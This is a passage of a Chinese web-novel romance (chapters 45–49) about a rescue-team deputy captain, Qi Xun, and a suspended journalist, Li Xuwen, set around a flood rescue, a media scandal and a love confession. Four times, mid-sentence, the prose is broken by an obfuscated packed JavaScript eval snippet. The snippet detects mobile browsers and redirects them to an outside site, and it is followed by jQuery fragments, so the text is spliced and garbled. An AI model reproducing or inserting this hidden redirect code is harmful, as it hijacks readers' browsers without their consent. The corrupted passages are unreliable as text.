“为了财物擅自离队,不上报、不请求支援,”齐寻面色沉冷地盯着小熊,捏住他肩膀的手指气极地收紧:“你进队四年,就学会了这些?你的命是你一个人的吗!” 小熊吃痛,却咬紧牙关不敢吭声,抿着嘴呜呜地摇头。 “齐寻,”黎叙闻握住他脱力到颤抖的手腕:“腰上的伤……还好吗?” 齐寻身体一僵,扣着人肩膀的手指蓦地松了劲,目光闪烁一瞬,终于偏过头,去看他惦念了一路的人。 她浑身湿透,束着高马尾的卷发被勾出几缕,贴在她苍白的颈间,唇瓣发白,再往上,就是那双他不敢细看的眼睛。 他不敢细看里面的恐惧和恳求。 于是他蜻蜓点水般跟她对视了一眼,立刻挪开视线,而后彻底松开了手。 他脸色白得发青,深深出了口气,问她:“你呢?” “我没事。” 齐寻嗯一声,整个人泄力似地垮下来,转身留给她一个背影:“行了,都休息吧。” 之后四个小时,天地间亮色渐渐收尽,狂怒的洪流也跟着雨声慢慢减弱、平息。 齐寻独自坐在门口,仰头盯着雨势。 眼镜男似乎觉得理亏,主动凑上前去,絮絮叨叨,事无巨细给他解释一遍,他面无表情地听,眼神涣散,却始终没有打断。 黎叙闻跟其他人一起坐在角落,后背贴在湿冷的墙壁上,望着他的背影。 她几次想上前,愧疚却像浸了水似地沉沉坠在喉间,把她所有话都堵在心口。 “闻姐,”小熊踟蹰了很久,终于开口:“对不起啊。” 他笑得特别难看:“我好像,真的扛不起什么事。” 黎叙闻盯着齐寻的背影,慢慢道:“我第一次跟着前辈去暗访,准备不足加上紧张,对着暗访对象当场聊爆了。要不是当时前辈冷静加反应快,估计我们都走不了了。” 小熊愣愣地听着,问:“后来呢?” “后来,我也跟你一样,臊眉耷眼地去跟前辈道歉,结果她说,‘谁没有第一次,你是我挑的人,要追责,要受罚,我都在你前面。’” 她满身疲惫,仍打起精神安抚他:“一样的,我答应你是因为我想来,要怪,我也得在你前面。” 只是…… 她看着齐寻斜斜倚靠在门边的身影,默然地想,只是最后一次了,还是辜负了他的保护。 他们之间,好像注定不会有一个两不相欠、爽快告别的结局。 她低下头,无声地笑了一下。 “闻姐,”大山也过来,道:“白蛇不是怪你,他就是太担心了……” “嗯……诶?”黎叙闻忽然道:“你们怎么突然都换了称呼?” 之前相熟的队员都叫她“嫂子”,一夜之间,都改叫“闻姐”了。 “白蛇说你有自己的名字,”大山接过话头:“不用把身份挂在谁身上。” 小熊被她劝慰得眉间阴云稍散:“是,我也觉得‘闻姐’更适合你。” 黎叙闻在一片沉冷水汽中,怔怔地眨了眨眼。 她转头去望门口,齐寻似有所感地回过头,目光沉冷地跟她对视了一次。 这种眼神她也见过很多次。 他听汇报的时候,果决下令的时候,安排救援策略的时候,都是这样冷静客观、毫无情绪的眼神。 可这样的眼神从没落在过她的身上,一次都没有。 不等她反应,齐寻便站起身,回头道:“差不多了,回吧。” 所幸水退之后,两条冲锋舟都还健在。齐寻和大山把两艘船收尾相接,以免回程侧翻。 首船需要观测航向、避开激流,所以只要齐寻在,一般都上首船,小熊自觉地迈腿要上后面那艘,却被齐寻拦住:“去前面。” 小熊一愣:“啊?” “我跟你闻姐有话要说,”齐寻面色疲惫:“你去盯着点。” 黎叙闻在他们背后听到这一句,心里“别”地一跳。 坏了,训完小熊,该训她了。 但她也没脸说什么,只能默默地上了船,等副队发落。 洪峰过后的水面,竟称得上平静。 周围村落早没了往日的灯火炊烟,只有船头的照明随着水浪不停浮动,昏暗微弱。 齐寻熄了马达,让小舟顺着水流漂流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936627|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 周围很安静,白天撕心裂肺的呼号终于散去,此时响在耳边的,只有船尾排开河水的细微水流声。 齐寻坐在她对面,一瞬不瞬盯着首船。 黎叙闻低着头,等来等去,也没等到他的臭骂 她抠了抠救生衣上干掉的泥水,用脚尖轻轻去碰他的:“可以说了。” 齐寻收回眼神:“说什么?” “说你要说的,”黎叙闻不偏不倚望进他眼底:“说你早就警告过我救援危险,说我总是给你添麻烦,说你的判断果然是对的,我不适合进救援队,说调查记者有什么了不起,闯了祸还不是要等你来救。” 她将自己的愧疚扮装成不讲理,一股脑倒出来:“你说吧,我听着。” 齐寻看着她:“你觉得我要说这些?” “不是吗?” 他轻轻哼了声,视线下落,滑到她沾着污泥的脖颈。 那里皮肤很薄,能看见下面细微的青色血管。 他听见血液在自己的耳边汩汩流动。 “我听了他的故事,你是记者,看重这种资料很正常,而且我相信,这肯定不是你提议的。”他强迫自己撇开目光,去盯船头的灯:“大山说得对,如果连身边的人都救不了,我们还干什么救援?” 灯光在他的眼底漾下一层粼粼水纹。 “至于调查记者……我说了我会保护你,就一定会来,跟你是不是记者、闯没闯祸,没有半毛钱关系。” 黎叙闻依然低着头,从不敢看他,变成了不敢看他。 那些缠绕在心底、吸饱了水疯长的愧疚,就这样砍瓜切菜一样被他几句话解决掉了。 潮湿的制服还贴在身上,贴身衣物里全是泥沙,黎叙闻脏兮兮地窝在糙硬的冲锋舟里,却感到了久违的温柔和宁静。 要是能一直这样漂下去就好了,她想。 如果航程没有尽头,那她就不必从这么美好的梦里醒来,不必面对一些事情的结束。 也不必失去他。 她抿了抿唇,又问:“那你刚刚说的有话要跟我说,是什么?” 潮润夜风沾染着水腥的气味,轻软地掠过她的眼睫。 或许是这一瞬间动摇了她的视线,她看见齐寻的身体蓦地颤了一下。 水声柔软地响在船侧,静谧夜色里有什么东西,正蠢蠢欲动,呼之欲出。 齐寻沉默了很久,慢慢转过身,正对着她,一字一句对她道:“黎叙闻,我没办法放你走了。” 他上身向她倾过来,眼底倒映着废墟,也倒映着她:“我是说,回去跟那个男的分手,然后跟我在一起。” 46. 第 46 章 冲锋舟绕过一处礁石,船尾擦过嶙峋的凸起,漾起一阵泠泠的水浪。 首船上的三个人背向着他们,影子被身前的灯光放得极大,淡淡地在沉寂的夜色中摇动。 黎叙闻坐在这一片影影绰绰中,恍然地半抬着头,几乎用气声问:“你说什么?” “你听见了,”齐寻向后靠去,体温在她的侧脸一触即离:“哪个字不明白?” 她每个字都不明白。 “你之前说你要追一个有男朋友的女人,说的是……我吗?” “是。” “……我哪来的男朋友?” 齐寻坐正身体:“那天在话剧中心门口,跟你出双入对的那个……那个人,不是吗?” 黎叙闻一听“话剧中心”就懂了,话到嘴边却打了个转:“他是我……朋友。” 齐寻的神色猛地一松,自己先把自己蠢笑了。 合着纠结了这么长时间,都是他自己吓自己。 这好办了,那个男人没名分,可他有。 可高兴了没几秒,猛地又想起前些天她给自己处理完伤口,振振有词地,说什么运气不错,捞到他这么个朋友。 脸上的笑立刻就垮了。 黎叙闻:“……你干嘛呢,玩变脸呢?” 齐寻笑容难看:“你朋友真多。” 黎叙闻哭笑不得:“齐寻,你现在是在跟我阴阳怪气吗?” 齐寻轻咳一下,伸手给她把救生衣又系一遍:“没,朋友多挺好。” ……不知道哪个朋友,离她的心更近呢。 黎叙闻垂眼看着胸口,一个活结他系了将近半分钟,还抖得没有系好。 真难得啊我们副队长。 刚还一本正经训队员,现在就紧张成这样。 这不逗他还是人? “哦,所以那天你不同意,是不愿意给人带绿帽子?”她故意提起留宿他的那晚,揶揄道:“现在呢?后悔了吗?” 齐寻捺着眉眼:“闻闻,别欺负人。” 他难得窘然的样子,越是躲,黎叙闻就越想使坏。 她故意捏住他冰凉的小指:“还是你有魅力,表白都不问别人的意见。以前的女朋友,是不是都这样被你骗到手的?” “我第一次跟人表白,不如你经验丰富。”齐寻反手扣住她的手腕,目光灼然地看她:“行,你说一句你不喜欢我,刚刚的话我立刻收回。” 他指尖冰冷,手掌却烧着,炽热温度在潮润的夜里,一路从手腕烧进她的眼睛。 黎叙闻慢慢敛去笑意。 她静默地盯着握住她的那只手,须臾不敢抬头。 她当然要拒绝。 可拒绝,恰恰是因为喜欢。 她要走的路太崎岖,走到最后,甚至自己也会成为路,这样的人生不需要同伴,也承担不起任何尘世的幸福。 她不要齐寻像她妈妈一样,在漫长的等待和挣扎后,带着一身的失望和伤痕离开。 她要他平安幸福,而不是最后独自守着故事开头那一点甜头,骗自己从未后悔。 冲锋舟顺流而下,此时岸边已经开始有断续的灯光。 断联手台终于收到信号,大山在一片滋啦声中跟纪士诚报平安。 水声渐响,首船挥动的船桨声,顺着水流密密而来。 就要走到尽头了。 黎叙闻轻轻挣开他的手,抬起眼睛:“我不能答应你。” 齐寻喉头滚了滚,眸光轻微地颤动:“因为不喜欢?” “是因为不合适。” 齐寻的心跳被她这句话狠狠地一擂。 她是不是……想起他是谁了? 他默了两秒,试探着问:“因为……以前?” “什么以前?” 齐寻心口猛地一松,嗓子眼的心脏慢慢沉了回去。 “……没有什么问题是不能解决的。”他的轮廓半隐在摇晃的白色薄光中:“你只需要点头,剩下的都可以交给我。” 黎叙闻盯着他埋在阴影中点漆一样亮的眸底,忽然笑了。 笑得齐寻脸色微沉,再多的期待,都跟着这个笑片片剥离。 还有她生死未卜时他的煎熬,明知可能一去不回、却仍顶上的执拗,坐在屋檐下望着冷雨、独自消化的自责和决心,还有明知不可、却还是说出口的勇气,全部散落进身后的泥水里,不见了踪迹。 黎叙闻张开双手,仰面躺在冲锋舟粗糙的边缘:“要真的有那么多解法,世界上哪还会有悲欢离合。” 夜空厚重的云渐渐散去,露出里面几颗寥落黯淡的晚星。 “齐寻,算了吧,不要勉强了。”她对着星星快速地眨眼,好遮掩掉眼底的湿润:“老马跟我说,真相是有代价的,等我能面对这个代价了,再给你一个交代吧。” 这是一张很好的空头支票,也是一个很好的句号。 像“改天再聚”“有时间一起吃饭”一样,既体面,又遥遥无期。 齐寻注视着她濡湿的睫根,手指握紧又松开,心脏沉进水底,又慢慢浮起来。 不是因为过去,那一定是因为那些她说不出口的“不体面”。 船身一阵颠簸浮动,然后晃晃悠悠靠了岸。 而有的人,最擅长的,就是在靠岸和句号之后,开始自己无止尽的等待。 “好,那说好了。”齐寻敛下眉眼站起身,扶起这个满身是泥的小别扭,手臂环住她的腰,一用力,将她送上了岸。 “我等着你的交代。” 大部队下午已经撤上高地,这时见他们几个回来,整个营地才真正松了口气。 有相熟的队员过来问情况,阿咩小跑两步,不顾黎叙闻身上都是泥巴,抱着她呜呜地哭。 黎叙闻摸摸她的后颈,在她耳边耳语:“好啦,我有个睡前故事,你听不听?” 纪士诚跟上来,一脸的憔悴:“回来就好,赶紧去洗洗,给你们留着水呢。” 黎叙闻应了,脚步虚浮地去取换洗衣物,齐寻靠在门口,紧盯着她的背影。 纪士诚看他:“不去帮一把?” 齐寻转开视线:“不了。” …… 待黎叙闻洗好澡,窝在角落里擦头发,夜已经很深了。 “闻闻?”一个猫叫一样的声音在门口唤她:“黎叙闻?” 黎叙闻凝神分辨一下,立刻应激似地了弹起来。 她披着还没干透的头发,跑到门口,人影都还没看清就急道:“纪队!今天这事真是意外,如果实在要有人负责,那我可以……” 纪士诚瞅着她肩上的水痕,失笑道:“说什么呢,我就这么闲,大晚上来找你兴师问罪?” 黎叙闻困惑了:“那是……” 纪士诚慢慢收了笑意,借着月色,认真地看她。 那么漂亮那么骄傲的一个姑娘,长这么大可能都没受过什么苦,被齐寻捧在心尖上,还不顾后果也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“齐寻也是,这事儿他放在心里了。”纪士诚苦笑:“被他送回来那几个,吓得语无伦次的,说白蛇这是疯掉了吗,怎么那副表情?我一听就知道,他害怕了,怕你跟我老婆一样,去了就回不来了。” 黎叙闻远远望着齐寻,看着他抽完了一支烟。 今天下午他一个人坐在门口,到底在想什么呢? 那时候……是不是应该过去,抱他一下? 她一眨眼,那人影转身进了帐篷。 月光下他站过的地方空荡荡的,白得很寂静。 ……原来他从一开始不让她跟着来,就是揣着自己明知不合适的感情,和惴惴不安的担心,在挖空心思地保护她。 黎叙闻低下头:“我知道,” 可不管是怪罪还是和解,好像都没有必要了。 “总之你们好好的就行,齐寻也……不容易,”纪士诚对她点头:“别为了我这些不相干的事吵嘴。” 夜空渐渐散去的云,这时候飘进了黎叙闻心里,又厚又沉。 她嗯一声,没再说话。 纪士诚默了默,却仍然没走。 陪着她站了许久,他才觑着她的脸色,还是问出了那个最担心的问题。 “还有一件事,我真的不放心……你直接把那个视频发出来,真的没事吗?” 黎叙闻沉默片刻,无声地长叹了一次,最后摇了摇头。 “……谁知道呢。” 47. 第 47 章 没事是不可能没事的。 救援进行到第八天,微光救援队的任务已经接近尾声,而那条视频的舆论风波却一再扩大,从黎叙闻本人身上,一直烧到了传统媒体和新兴自媒体之争。 更有甚者,从风波乍起就始终沉默的京屿商报,忽然发布了一条公告。 公告直指社内记者黎叙闻,在停职期间擅自发布报道,违反报社规章制度,给予无限期停职处分,并予以社内通报批评。 除此之外,还不忘跟她那篇引发争议的报道撇清关系,说这一切都是黎叙闻记者一人所为,并非京屿商报的授意。 黎叙闻发布的稿件和视频被一同撤下,自此,算是给这场闹剧彻底定了调。 用词凝肃、字字如刀,冷冽的白纸黑字看得黎叙闻眼皮哐哐地跳。 她想过自己可能逃不过一顿斥责,甚至无限期停职的处分,她也不是不能接受。 真正让她难过的,是后面那段对她唯恐避之不及的避嫌。 其实她在发布时,坚持用自己的名字,没带社会观察的前缀,也没按救灾专题的统一格式,防的就是有心人把整个商报都牵扯进来。 但她还是忍不住地难过。 她握着手机,在忙碌的背景音中恍然地想,事到如今,她身后真的空无一人了吗。 虽然再来一次,她还是会这样选,但此时此刻,所有知情人全部缄默,她连一句“不后悔”,都没地方去说。 在她反应过来之前,手指已经自动点开了微信。 跟齐寻的对话,还停留在之前他看到报道,火急火燎要来找她的那句话。 他……看见那条声明了吗? 如果看到了,那为什么…… 后半段的臆想被她断然掐灭在半空,剩下一阵飘忽的轻烟。 “闻闻有空吗?来帮忙消毒包扎。” 黎叙闻应了一声,把手机放进口袋里,又投入了医疗组的工作。 就这么强撑到半夜。 忙完手上的工作,已经快凌晨一点,黎叙闻还想留下值夜,被队长半推半骂地赶去休息。 她左右睡不着,便对着手机删删改改,想给报社的同仁和股东写一封道歉信。 不管怎么说,先服个软,别连累季筝和老马让人指摘。 结果不服气地写了半个小时,第一行都没写完。 她长长叹了口气,仰倒在睡袋里,微信适时地嗡嗡震动了一下。 她立刻坐起来,弯着眉眼点开,结果弹出来的消息,是林青淮。 黎叙闻:………… 百无聊赖地点开,林青淮果然听到了风声,来问她的状态,平淡地聊了没两句,他忽然道:“叙闻,我们曾经聊过,你的心理状况其实不适合做记者。这是个不错的重新思考的机会。” 黎叙闻扫了一眼,回都懒得回,撇着嘴退出了他的聊天框。 消息栏里,齐寻的头像还是没有一点动静。 ……有点不高兴了。 买卖不成还仁义在呢,怎么拒绝了表白,这家伙就连问都不问了? 没劲。 她赌了一会儿气,手指往下滑,一直滑到马颂今的对话框。 手机屏的幽光里,马颂今的头像一脸严肃地看着她,看得她心都虚了。 事情发生这么久了,她还没给老马打过电话。 归根结底,还是她理亏,没那个勇气。 但躲也不是办法,到时候老马又说了,这么点事都扛不起,还去什么战地? 她深吸一口气,下定决心,轻手轻脚走到帐外,在一片湿润气息里给老马拨了个语音。 京屿似乎起了不小的风,对面气流呼呼一阵,马颂今的声音传来:“……还在龙腾那边?” “嗯,快结束了,就这一两天了。” “身体还好?没遇上什么危险吧?” 黎叙闻攥紧手机,等着他不知什么时候要开始的训斥:“嗯,都好。” “黎叙闻,”马颂今下一句果然就严厉起来:“你就是这样当记者的?” 黎叙闻心口一颤,唇角抿得平直,回:“……对不起。” “你怎么写的报道,啊?”马颂今笑了一声,声音有点黏糊:“从你入社第一天我就教你,记者要中立,要客观,你看看、看看你写的什么?还连着三个设问,生、生怕别人不知道你的立场是不是?” 黎叙闻听见这些,先是几秒怔愣。 她以为老马会骂她为什么写这种东西,有没有想过商报的立场,却没想到,他接起电话劈头盖脸先教训的,是她的职业态度。 这她就更没什么心虚的了:“我写的都是事实。” 马颂今顿了下,语气更重了,被风声撕扯着:“记者是旁观者,没……让你以身入局!”不等黎叙闻再辩解,他掷地有声下了结论:“公正客观,你、你怕是已经忘到九霄云外去了!” 他在那边像风箱一样地喘,黎叙闻在这边静默地听。 沉默之间,有很细很轻的水声,远远地响,好像是净水车的龙头没有关严,水珠一滴一滴打在下方的土地上。 她听了一阵,才开口问:“马叔,你是不是……跟董事会股东喝酒了?” 马颂今总台记者出身,即使退居二线多年,清醒的时候也没结巴过,可刚刚那句话,他磕绊了两次。 那头人声静默了一会儿,老马呵呵一笑:“纸媒都这X样了,不跟他们……喝大酒,能保住你吗?能吗?” 黎叙闻迎着夜风,很慢很慢地眨了下眼。 老马要真习惯身段柔软低声下气,当年根本不必离开总台。 她满以为自己豁得出去,肯付代价就能换得想要的结果,可在她看不见的地方,还是有人为了她做的选择,在默默地兜底。 她胸口细微地起伏,生怕自己抽气的声音盖过对面的风声,被老马听个究竟。 “我是不是,”她吞咽一次:“是不是让你丢人了?” 对面呼哧带喘的气声忽然停了,取而代之的,是一声轻轻的叹息。 “我都这把年纪了,还在乎这张老脸?”马颂今说:“我们这些老家伙在前面丢脸,你们年轻人才能在后面安心长本事,这一行才能继续往下走。” 黎叙闻在湿软的土地上席地而坐。 不知怎么就想起去年商报年会,大家起哄让老马来一段,社长也笑哈哈的,说老马,拿出咱们以前求股东不要撤资的那股劲儿来! 她的害怕和难过忽然有了具象的脸。 老马会老的,爸爸也会老,总有一天,她会独自站在这艘行将沉没的巨轮上。 前面好像没路了。 “丢人没有什么,”马颂今沉着声音:“闻闻,你的经验和能力,远比那点脸面重要。” “马叔……我……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947890|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那头倏而漫过一阵嘈杂人声,听动静,像是有人在叫马颂今不要躲懒,进来继续喝。 老马一叠声答应,没跟她说再见,就忽然挂断了电话。 黎叙闻握着手机,没有回营帐。 她只是看着行动组帐外,昨天同一个地方立着的同一个人影,星火一明一灭,在乍起的夜风里,像一盏摇曳的灯。 那盏灯没有走近,也没有开口,只是沉默地陪着她,仰头跟她望向同一片黯淡的星空。 而黎叙闻以为不会出现的转机,就在她救援队从龙腾回京屿的路上,被她刷到了。 救援队分了五辆车回,医疗组所有人都靠着车窗昏昏欲睡,忽然有人轻声叫醒她:“闻闻,白蛇这个视频……说的是你吧?” 黎叙闻迷糊着睁开眼,低头看到屏幕,瞌睡一下子醒了。 齐寻轮廓分明的脸正对着镜头,穿的是救援队的制服,看样子应该是认真洗过烫过,背后是垒起来的装备和橡皮艇,军绿色的帐篷在最后面打底。 他脸上带着不常面对镜头的紧绷感,眼下青黑一片,强打着精神,却依然看得出眉间的倦意。 他冲着镜头鞠了一躬,态度诚恳谦逊:“大家好,我是微光救援队京屿地区副队长,齐寻。” 每每做这个自我介绍,他语气里都有一种盖不住的骄傲,而今天,他话音平静得过了头。 黎叙闻眼皮一跳,心里升起一阵不好的预感。 “录制这段视频,是为了说明前些天,因为我的个人疏忽,引起的舆论风波。” 他眼神始终望着镜头,没一刻分神去看别处,条分缕析、慢条斯理地把那天的事情做了说明,并且用天衣无缝的理由,隐去了当天黎叙闻在船上的关键原因: “黎叙闻记者是救援队医疗组的志愿者,这次汛期救援始终跟我们一起,奋战在救援第一线。因为我在之前的行动中不慎受伤,当天的救援任务必须有医护人员随行,黎记者才不得不放下手中的工作,作为陪同,与行动队一同上船。她的所作所为,我身为副队长,事先已经全部知晓,都经过我的同意和授权。” 把所有责任揽上身后,齐寻蓦然卡壳似地,停顿了两秒,无声深呼吸一次,声音紧得几乎要崩断:“我深知这次的事件对公众及救援队造成的负面影响,在此对社会大众及黎叙闻记者诚恳致歉。我将卸任副队长的职务,离开微光救援队,今后以志愿者的身份,参与公共事务。” 视频的最后,他再次躬身致歉。 时间轴倒数读秒结束,漆黑的屏幕上,映出黎叙闻仓皇的脸。 原来昨天晚上他在帐子外面,想的是这个。 她眼睫颤动了一下,呼吸重到心口发疼,指尖无知无觉地握紧了手机。 与此同时,之前被商报的割席豁开的那个窟窿,被另一种细密的东西填满了。 车上的人都被这条视频震醒,个个一脸的凝重,小声低头议论着,间或偷偷看她的反应。 当天的事情早就传遍了整个微光,人人都为黎叙闻叫好,说想不到咱们微光,也有让正经媒体仗义执言的一天。 谁都没想到,这背后竟然还有这样的风起云涌。 医疗组组长过来拍她的肩:“放心,白蛇就算要卸任,我们也不会让他走的。” 黎叙闻听不见似地,扭头默默地望了一阵窗外倒退的街景,忽然道:“组长,我可以先下车吗?” 48. 第 48 章 下午日头正煊,黎叙闻坐在离京屿不远的高速休息区,面对着巨大的玻璃窗,慢吞吞喝着一瓶气泡水。 休息区不算新,玻璃窗后的长条桌上掉漆掉得斑驳,黑黢黢的一串锈迹,像是要咬她轻点桌面的手指。 她看了一眼群里的汇报,行动组已经到了队部,终于给齐寻拨了个电话。 响了好几声,那边才接了,背景闹哄哄的。 齐寻“喂”了一声,喧闹声照例被他抛在身后,等安静下来才又问:“他们说你提前下车了,到家了?” 他的声音跟视频里的完全不同,很柔软,也很欲盖弥彰。 黎叙闻低着头,侧耳枕上这个声音,开口之前,喉头就先闭咽了一回。 她又喝了口水,才说:“谁让你这样的?” “你还有更好的办法吗?” “我的事情已经这样了,报社那边处罚通知已经下达,你这么做,根本画蛇添足。” “是吗,”齐寻语气平静:“我怎么听说你们传统媒体最重视信誉,翻盘的机会摆在眼前,我不信商报会无动于衷。” 黎叙闻哑了一瞬,意识到他根本是有备而来,把他当做外行人糊弄,已经行不通了。 她抿起唇角,道:“你别逗了,这件事之所以能闹大,是因为他们两个本来就是网红,你是什么影响力,你发视频,能有多少人看?” 齐寻笑了一声:“我好歹是干影视的,认识个把宣发,奇怪吗。” 这句话好像乘着气泡,蹦进了黎叙闻的脑子里。 她立刻点开社交平台,发现“微光救援队副队长发声”竟然上了热搜。 虽然是后排,但点进去之后时间线极为完整,甚至圈出了京屿商报的官方账号,等待报社回应。 “谁要你自作主张?”黎叙闻按不住自己的音量:“你把事情做到这一步,有没有想过怎么收场?” 旁边小憩的司机被吵醒,面色不善地瞥了她一眼。 她收了声,盯着瓶壁上爆破的气泡,和晃动的水液。 默了片刻,又小声说:“你这样,我没有办法还。” 对面一直等她把所有的嘴硬和道理都说完,才出了口气,道:“我不要你还。” “那你要什么?” “我要你平安。” 世界被这句话按下了静音键。 玻璃窗外的一排杨树,跟着微风无声地摇动,把光搅碎了,扑在她脸上。 这算不上什么漂亮话,从前追求她的男人,提笔就是锦绣文章,挖空心思说过多少好听的话,她听了笑一笑,也就忘了。 可此时此刻,她的心却跟着这一句平平无奇的话,沉甸甸地慢慢坠地。 就好像有了降落伞。 最后,她还是按住了自己的飘忽:“总之我记着,算我欠你一回。” 说完跟躲鬼似地,干脆利落挂了电话。 齐寻猝不及防听了两声忙音,两指交叠弹了一下手机屏幕,又回头去应付跟他吵吵了一路的队友们。 后腰的伤雨淋水泡,硬是撑到回到队部,终于颤颤悠悠发起烧来。 他顶着软绵的眩晕,最后用一句“行了都闭嘴”打散了那些絮叨,顺便罚他们去盘点装备和写复盘记录,耳边才终于清净了些。 还剩一个老的,不那么好糊弄。 纪士诚把办公室的门关上,唇角抿得平直,脸上的皱纹深了好几层。 他看了他许久,问:“真要撂挑子?不干了?” 齐寻摇头:“也不是,做志愿者我出勤率也不会降,放心。” “好歹在微光八年……”纪士诚一脑门子官司:“话就非要说那么死?” “不出点血,这事儿过不去。” 纪士诚欸乃一声,想,救人一命不是胜造七级浮屠么,怎么现在舍了命救人,还得另贴代价? 他无言地低头喝茶,茶汤刚刚沏好,烫得他在嘴里吸溜了一圈。 真正想问的话,也就跟着热气一起吐了出来:“你还想在微光吗?” 齐寻面无表情地停了片刻,低下视线,去寻胸前的队徽。 他当然想。 这个世界上,微光是他为数不多真正拥有的东西。 现在连这也送出去,他手里重新空空如也,却又庆幸,这些重量在她艰难的时候,还可堪一用。 身体里的火眼见着越烧越旺,烧得他眼底干涩。 “……老纪,算了。” 到了傍晚,一场高热像终于逮到空隙似地,如山倒般压过来。 齐寻没回他那毛坯房,直接睡在队部,睡得迷迷糊糊,还在翻他那条视频下面的评论。 1L:你说的话我一个字都不信,除非你把微信号发我让我检验一下 3L:你们还收志愿者吗?当志愿者给发副队长吗[害羞] …… 268L:所以代入一下,就是我趁着放假去献爱心,眼睁睁看着自己战友拼了老命还被倒打一耙,我气不过,上微博辱骂闹事的人,对吧? 300L:你别说你还真别说,这么一代入我拳头都硬了[流汗] …… 600L:但那女的在船上也太霸道了吧,抛开事情不谈,调查记者不该素质高点吗?还是这副队长授意的? 601L:楼上的傻哔也是有点太典了,你猜人家为什么明明占理还要请辞?是不是为了堵你这种傻哔的嘴? 667L:那记者有点意思,报道代孕都被停职了,放假还来做公益,我看她给救援队发声不像假的 675L:因为她善 …… 742L:你们在这说有屁用,都没看京屿商报的声明吗,报社不但跟她割席,还把人家无限期停职了 798L:去看了一眼竟然是真的……行吧,们纸媒还是抱团去死吧 …… 齐寻盯着屏幕,动作迟滞地点开商报客户端,发现之前置顶的那条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951994|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声明已经被撤下,取而代之的,是黎叙闻写的那篇纪实。 这时小熊推门进来,手里拎着外卖粥和小菜:“哥,吃点吧?” 齐寻坐起来,刚拆了粥碗,就听小熊捧着手机乐起来了:“哎消防那边也是够寸的,大部队还在龙腾没回来呢,这市里又闹火警。” 齐寻伸手去拿筷子,随口问:“哪儿?” “东边,”小熊仔细看了看警情通报群里的消息:“金盏花园。” 齐寻掰筷子的手骤然停下,一把拽住他的手腕:“几号楼几零几?” 小熊奇怪地看了他一眼,低头又去看:“说是三号楼7单元1602……” 齐寻愣了两秒,忽然站起来就往外冲。 “哎哎哎——”小熊拉住他:“怎么啦?饭不吃啦?” 齐寻慢半拍地扭过头,表情是一种过度惊吓后的空白:“人、人呢?伤者送去哪个医院了?” “没伤者!”小熊把他按在椅子上:“说是做饭呢结果人睡着了,厨房往外冒黑烟,邻居报的警!” 齐寻目光滞涩地盯着他,眼珠缓慢地动了动,虚脱似地瘫在椅子上,狠狠松了口气。 小熊看他这样子,不明所以:“这谁家啊?” “你闻姐。” 小熊大惊:“啊?不是……啊?” 齐寻太阳穴突突的,半分钟烧出了一身的冷汗。 他按了一阵眼角:“我现在开不了车,送我回趟家。” 门铃响起的时候,黎叙闻正对着厨房那面黑黢黢的墙发呆。 傍晚她拖着透支的身体,几乎是挪到了家门口,楼下面店的阿姨认得她,知道她去做志愿者辛苦,给她打包了一碗鸡汤面线,让她带回家热热就能吃。 黎叙闻又累又饿,接了她的好意,回到家把汤放进锅里,想等煮好了美美吃一顿,然后好好睡上一觉。 她窝在沙发上,把齐寻那条视频又看了一遍,看着看着,就在他的声音里睡了过去。 后来她是被消防员拍门叫醒的。 一睁眼,满屋子都是黑烟。 她吓得赶紧跑去厨房,鸡汤面已经跟锅底糊作了一团黑碳,正往外冒着滚滚的烟。 消防员和邻居在门口急得都快疯了,正打算破门,黎叙闻一身一脸的灰,终于打开了门。 一场批评教育自然少不了,鸡汤米线没吃到,又搭上一口锅,还挨了一顿骂。 黎叙闻对着厨房火灾现场一样的墙,忽然觉得特别委屈。 这个破世界,到底有什么好守护的? 一起毁灭得了! 门铃又响,她唇角绷得紧紧的,想要是再有谁敢来教训她,她就不讲理了,说什么也要出口气。 于是她顶着一副要跟人同归于尽的表情打开门,看见的却是齐寻那张疲倦的脸。 他垂着头,在她打开门的一瞬间,就把手里的登山包扔进了她的家门。 “没地方去了,你家客厅租我。” 49. 第 49 章 黎叙闻站在未散尽的烟尘中,怔愣地看他良久,才明白过来,这是追人追到家门口来了。 她矮身捡起他的背包,一只手推上他胸口,挑衅似地抬头看他。 